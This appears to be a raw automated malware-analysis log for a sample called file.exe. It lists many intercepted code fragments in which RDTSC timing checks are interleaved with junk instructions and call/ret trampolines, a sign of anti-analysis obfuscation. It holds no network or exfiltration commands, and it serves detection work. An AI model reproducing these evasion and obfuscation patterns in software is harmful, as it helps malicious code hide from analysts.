Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F122DA second address: F122E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F140B0 second address: F140B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F122E0 second address: F12302 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F90CCB8A185h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F140B4 second address: F14130 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F90CD2EB7C8h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 mov edi, ecx 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push ebp 0x0000002b call 00007F90CD2EB7C8h 0x00000030 pop ebp 0x00000031 mov dword ptr [esp+04h], ebp 0x00000035 add dword ptr [esp+04h], 00000014h 0x0000003d inc ebp 0x0000003e push ebp 0x0000003f ret 0x00000040 pop ebp 0x00000041 ret 0x00000042 jmp 00007F90CD2EB7D4h 0x00000047 push 00000000h 0x00000049 jmp 00007F90CD2EB7D4h 0x0000004e push eax 0x0000004f push eax 0x00000050 push edx 0x00000051 push ebx 0x00000052 push esi 0x00000053 pop esi 0x00000054 pop ebx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F12302 second address: F12315 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F90CCB8A17Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F15199 second address: F1519F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F16246 second address: F162E3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jc 00007F90CCB8A176h 0x0000000d jmp 00007F90CCB8A17Ch 0x00000012 popad 0x00000013 popad 0x00000014 mov dword ptr [esp], eax 0x00000017 jmp 00007F90CCB8A183h 0x0000001c push 00000000h 0x0000001e js 00007F90CCB8A18Ch 0x00000024 jmp 00007F90CCB8A186h 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push esi 0x0000002e call 00007F90CCB8A178h 0x00000033 pop esi 0x00000034 mov dword ptr [esp+04h], esi 0x00000038 add dword ptr [esp+04h], 0000001Ch 0x00000040 inc esi 0x00000041 push esi 0x00000042 ret 0x00000043 pop esi 0x00000044 ret 0x00000045 pushad 0x00000046 and eax, 3A992298h 0x0000004c mov eax, dword ptr [ebp+1245420Fh] 0x00000052 popad 0x00000053 push eax 0x00000054 pushad 0x00000055 pushad 0x00000056 jmp 00007F90CCB8A17Ch 0x0000005b push edi 0x0000005c pop edi 0x0000005d popad 0x0000005e push eax 0x0000005f push edx 0x00000060 jnc 00007F90CCB8A176h 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F162E3 second address: F162E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F17390 second address: F173F5 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F90CCB8A176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c pop eax 0x0000000d pop ecx 0x0000000e popad 0x0000000f nop 0x00000010 cmc 0x00000011 push 00000000h 0x00000013 sbb ebx, 70155FDDh 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push edx 0x0000001e call 00007F90CCB8A178h 0x00000023 pop edx 0x00000024 mov dword ptr [esp+04h], edx 0x00000028 add dword ptr [esp+04h], 0000001Dh 0x00000030 inc edx 0x00000031 push edx 0x00000032 ret 0x00000033 pop edx 0x00000034 ret 0x00000035 xchg eax, esi 0x00000036 jmp 00007F90CCB8A187h 0x0000003b push eax 0x0000003c pushad 0x0000003d push esi 0x0000003e js 00007F90CCB8A176h 0x00000044 pop esi 0x00000045 pushad 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F173F5 second address: F173FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1536D second address: F153ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 nop 0x00000008 jmp 00007F90CCB8A186h 0x0000000d push dword ptr fs:[00000000h] 0x00000014 mov dword ptr [ebp+122DB87Dh], edi 0x0000001a clc 0x0000001b mov dword ptr fs:[00000000h], esp 0x00000022 push 00000000h 0x00000024 push ebx 0x00000025 call 00007F90CCB8A178h 0x0000002a pop ebx 0x0000002b mov dword ptr [esp+04h], ebx 0x0000002f add dword ptr [esp+04h], 0000001Dh 0x00000037 inc ebx 0x00000038 push ebx 0x00000039 ret 0x0000003a pop ebx 0x0000003b ret 0x0000003c pushad 0x0000003d mov ebx, dword ptr [ebp+122D2C02h] 0x00000043 mov edi, ecx 0x00000045 popad 0x00000046 mov edi, dword ptr [ebp+122D1E96h] 0x0000004c mov eax, dword ptr [ebp+122D0335h] 0x00000052 mov ebx, 5289564Bh 0x00000057 push FFFFFFFFh 0x00000059 mov ebx, 7E8012CFh 0x0000005e nop 0x0000005f pushad 0x00000060 push eax 0x00000061 push edx 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F153ED second address: F153F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F153F1 second address: F153FB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A79B second address: F1A7B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F90CD2EB7D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A7B8 second address: F1A7BD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A7BD second address: F1A846 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007F90CD2EB7C8h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 00000015h 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 stc 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push esi 0x00000028 call 00007F90CD2EB7C8h 0x0000002d pop esi 0x0000002e mov dword ptr [esp+04h], esi 0x00000032 add dword ptr [esp+04h], 0000001Dh 0x0000003a inc esi 0x0000003b push esi 0x0000003c ret 0x0000003d pop esi 0x0000003e ret 0x0000003f mov dword ptr [ebp+12480A8Bh], esi 0x00000045 push 00000000h 0x00000047 mov ebx, dword ptr [ebp+122D19B2h] 0x0000004d xchg eax, esi 0x0000004e pushad 0x0000004f pushad 0x00000050 jmp 00007F90CD2EB7CEh 0x00000055 jo 00007F90CD2EB7C6h 0x0000005b popad 0x0000005c jmp 00007F90CD2EB7CEh 0x00000061 popad 0x00000062 push eax 0x00000063 push eax 0x00000064 push edx 0x00000065 push esi 0x00000066 pushad 0x00000067 popad 0x00000068 pop esi 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1976F second address: F19774 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1AA3B second address: F1AA3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1AA3F second address: F1AA43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1B8DC second address: F1B8E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1B8E0 second address: F1B8E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1D979 second address: F1D9A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jnp 00007F90CD2EB7C6h 0x0000000d pop esi 0x0000000e popad 0x0000000f nop 0x00000010 or edi, dword ptr [ebp+122D2CC6h] 0x00000016 push 00000000h 0x00000018 mov ebx, dword ptr [ebp+122D2CA2h] 0x0000001e stc 0x0000001f push 00000000h 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push esi 0x00000026 pop esi 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1EA40 second address: F1EA5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F90CCB8A176h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jng 00007F90CCB8A17Ch 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1EA5D second address: F1EA63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1EA63 second address: F1EA67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1EA67 second address: F1EAB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b mov ebx, edi 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push ecx 0x00000012 call 00007F90CD2EB7C8h 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], ecx 0x0000001c add dword ptr [esp+04h], 00000017h 0x00000024 inc ecx 0x00000025 push ecx 0x00000026 ret 0x00000027 pop ecx 0x00000028 ret 0x00000029 jmp 00007F90CD2EB7D6h 0x0000002e push eax 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 push ebx 0x00000034 pop ebx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1EAB2 second address: F1EAB8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1EAB8 second address: F1EABE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1DA8D second address: F1DA91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1DA91 second address: F1DB32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a call 00007F90CD2EB7D5h 0x0000000f mov dword ptr [ebp+122D1E8Bh], ecx 0x00000015 pop ebx 0x00000016 mov edi, ecx 0x00000018 push dword ptr fs:[00000000h] 0x0000001f mov ebx, dword ptr [ebp+122D1D8Ah] 0x00000025 mov dword ptr fs:[00000000h], esp 0x0000002c push 00000000h 0x0000002e push edx 0x0000002f call 00007F90CD2EB7C8h 0x00000034 pop edx 0x00000035 mov dword ptr [esp+04h], edx 0x00000039 add dword ptr [esp+04h], 00000018h 0x00000041 inc edx 0x00000042 push edx 0x00000043 ret 0x00000044 pop edx 0x00000045 ret 0x00000046 mov ebx, 38054200h 0x0000004b mov eax, dword ptr [ebp+122D0789h] 0x00000051 push 00000000h 0x00000053 push esi 0x00000054 call 00007F90CD2EB7C8h 0x00000059 pop esi 0x0000005a mov dword ptr [esp+04h], esi 0x0000005e add dword ptr [esp+04h], 0000001Ah 0x00000066 inc esi 0x00000067 push esi 0x00000068 ret 0x00000069 pop esi 0x0000006a ret 0x0000006b mov bx, dx 0x0000006e push FFFFFFFFh 0x00000070 jns 00007F90CD2EB7CCh 0x00000076 nop 0x00000077 push eax 0x00000078 push edx 0x00000079 push eax 0x0000007a push edx 0x0000007b push eax 0x0000007c pop eax 0x0000007d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1DB32 second address: F1DB36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1DB36 second address: F1DB3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F26CB1 second address: F26CD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F90CCB8A185h 0x00000009 popad 0x0000000a jmp 00007F90CCB8A17Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F26CD5 second address: F26CDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F90CD2EB7C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F26CDF second address: F26CE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F26CE5 second address: F26CEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F26CEF second address: F26CF9 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F90CCB8A176h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F29E61 second address: F29E7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F90CD2EB7D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F29E7D second address: F29E92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F90CCB8A17Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F29E92 second address: F29EAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007F90CD2EB7CCh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2A01E second address: F2A022 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2A022 second address: F2A026 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2FD9B second address: F2FD9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2FD9F second address: F2FDA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F30596 second address: F305A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F305A3 second address: F305A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F305A9 second address: F305AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F305AD second address: F305BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F90CD2EB7CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F30B84 second address: F30BE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F90CCB8A187h 0x00000007 jc 00007F90CCB8A18Ah 0x0000000d jmp 00007F90CCB8A184h 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 jmp 00007F90CCB8A17Bh 0x0000001a push ebx 0x0000001b jno 00007F90CCB8A176h 0x00000021 pop ebx 0x00000022 jmp 00007F90CCB8A187h 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F30BE8 second address: F30BEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F30BEE second address: F30BF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F35640 second address: F35644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F35907 second address: F3593A instructions: 0x00000000 rdtsc 0x00000002 ja 00007F90CCB8A178h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F90CCB8A181h 0x00000012 jmp 00007F90CCB8A17Dh 0x00000017 js 00007F90CCB8A17Ch 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F35BFF second address: F35C1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F90CD2EB7D8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F35C1B second address: F35C21 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F35C21 second address: F35C2C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F361EB second address: F36207 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F90CCB8A17Ch 0x0000000b popad 0x0000000c push ecx 0x0000000d je 00007F90CCB8A176h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F36207 second address: F36212 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F36212 second address: F36232 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F90CCB8A189h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3660B second address: F36622 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F90CD2EB7D3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F36622 second address: F36628 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3BF81 second address: F3BF9A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F90CD2EB7D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0A57F second address: F0A583 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0A583 second address: F0A589 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0AA4E second address: F0AA54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0AA54 second address: F0AABB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 38E1CF95h 0x0000000f jmp 00007F90CD2EB7D7h 0x00000014 call 00007F90CD2EB7C9h 0x00000019 jo 00007F90CD2EB7CAh 0x0000001f push eax 0x00000020 pushad 0x00000021 popad 0x00000022 pop eax 0x00000023 push eax 0x00000024 jmp 00007F90CD2EB7CEh 0x00000029 mov eax, dword ptr [esp+04h] 0x0000002d jne 00007F90CD2EB7D5h 0x00000033 mov eax, dword ptr [eax] 0x00000035 pushad 0x00000036 pushad 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0AC2D second address: F0AC3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F90CCB8A17Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0AC3C second address: F0AC7D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F90CD2EB7CEh 0x0000000e xchg eax, esi 0x0000000f sub dword ptr [ebp+122D207Ah], ecx 0x00000015 mov dh, A4h 0x00000017 nop 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b jmp 00007F90CD2EB7CFh 0x00000020 jmp 00007F90CD2EB7CDh 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0AF54 second address: F0AF5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0AF5A second address: F0AF5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0AF5E second address: F0AF62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0AF62 second address: F0AF99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007F90CD2EB7C8h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 push 00000004h 0x00000027 mov ecx, dword ptr [ebp+122D3AF7h] 0x0000002d push eax 0x0000002e push eax 0x0000002f push edx 0x00000030 push ecx 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0AF99 second address: F0AF9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0AF9E second address: F0AFA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0B6E9 second address: F0B706 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F90CCB8A184h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
